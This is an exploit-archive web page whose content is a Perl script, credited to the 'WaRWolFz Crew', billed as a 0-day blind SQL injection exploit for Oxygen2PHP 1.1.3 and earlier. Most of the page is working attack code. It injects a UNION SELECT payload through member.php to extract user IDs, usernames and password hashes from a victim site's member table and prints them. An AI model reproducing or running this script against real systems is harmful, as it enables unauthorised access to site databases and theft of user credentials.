<!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>Oxygen2PHP &lt;= 1.1.3 (member.php) Blind SQL Injection Exploit</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>============================================================
Oxygen2PHP &lt;= 1.1.3 (member.php) Blind SQL Injection Exploit
============================================================

#!/usr/bin/perl
#[0-Day] Oxygen2PHP &lt;= 1.1.3 (member.php) Remote SQL Injection Exploit
#Coded By Dante90, WaRWolFz Crew
#Bug Discovered By: Dante90, WaRWolFz Crew

use LWP::UserAgent;
use HTTP::Cookies;
use strict;

my $UserName = shift or usage();

my $HostName = &quot;http://www.victime_site.org/path/&quot;; #Insert Victime Web Site Link
my $Referrer = &quot;http://www.warwolfz.org/&quot;;

sub SQL_Injection{
my ($Victime) = @_;
return &quot;./member.php?action=viewpro&amp;member=-1′ UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,CONCAT_WS(CHAR(32,58,32),uid,username,password),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46 FROM o2_members WHERE username=’${Victime}’/*&quot;;
}

my $Cookies = new HTTP::Cookies;
my $UserAgent = new LWP::UserAgent(
agent =&gt; ‘Mozilla/5.0′,
max_redirect =&gt; 0,
cookie_jar =&gt; $Cookies,
) or die $!;

my $Get = $UserAgent-&gt;get($HostName.SQL_Injection($UserName));

if($Get-&gt;content =~ /([0-9]{1,5}) : ([a-zA-Z0-9-_.]{2,15}) : ([a-f0-9]{32})/i){
refresh($HostName, $1, $2, $3);
print &quot; * Exploit Successfully Executed *n&quot;;
print &quot; ——————————————————nn&quot;;
system(&quot;pause&quot;);
}else{
refresh($HostName, &quot;&quot;, &quot;&quot;, &quot;&quot;);
print &quot; * Error extracting sensible data.n&quot;;
print &quot; * Exploit Failed *n&quot;;
print &quot; —————————————————— nn&quot;;
}

sub usage{
system(&quot;cls&quot;);
{
print &quot; n [0-Day] Oxygen2PHP &lt;= 1.1.3 (member.php) Remote SQL Injection Exploitn&quot;;
print &quot; —————————————————— n&quot;;
print &quot; * USAGE: *n&quot;;
print &quot; * cd [Local Disk]:\[Directory Of Exploit]\ *n&quot;;
print &quot; * perl name_exploit.pl [uid] *n&quot;;
print &quot; —————————————————— n&quot;;
print &quot; * Powered By Dante90, WaRWolFz Crew *n&quot;;
print &quot; * www.warwolfz.org – dante90_founder[at]warwolfz.org *n&quot;;
print &quot; —————————————————— n&quot;;
};
exit;
}

sub refresh{
system(&quot;cls&quot;);
{
print &quot; n [0-Day] Oxygen2PHP &lt;= 1.1.3 (member.php) Remote SQL Injection Exploitn&quot;;
print &quot; —————————————————— n&quot;;
print &quot; * USAGE: *n&quot;;
print &quot; * cd [Local Disk]:\[Directory Of Exploit]\ *n&quot;;
print &quot; * perl name_exploit.pl [uid] *n&quot;;
print &quot; —————————————————— n&quot;;
print &quot; * Powered By Dante90, WaRWolFz Crew *n&quot;;
print &quot; * www.warwolfz.org – dante90_founder[at]warwolfz.org *n&quot;;
print &quot; —————————————————— n&quot;;
};
print &quot; * Victime Site: &quot; . $_[0] . &quot;n&quot;;
print &quot; * User ID: &quot; . $_[1] . &quot;n&quot;;
print &quot; * Username: &quot; . $_[2] . &quot;n&quot;;
print &quot; * Password: &quot; . $_[3] . &quot;n&quot;;
}

#WaRWolFz Crew

# <a href=’http://inj3ct0r.com/’>Inj3ct0r.com</a> [2010-06-30]</pre><script type=’text/javascript’>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src=’" + gaJsHost + "google-analytics.com/ga.js’ type=’text/javascript’%3E%3C/script%3E"));</script><script type=’text/javascript’>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
Source: http://inj3ct0r.com/exploits/12952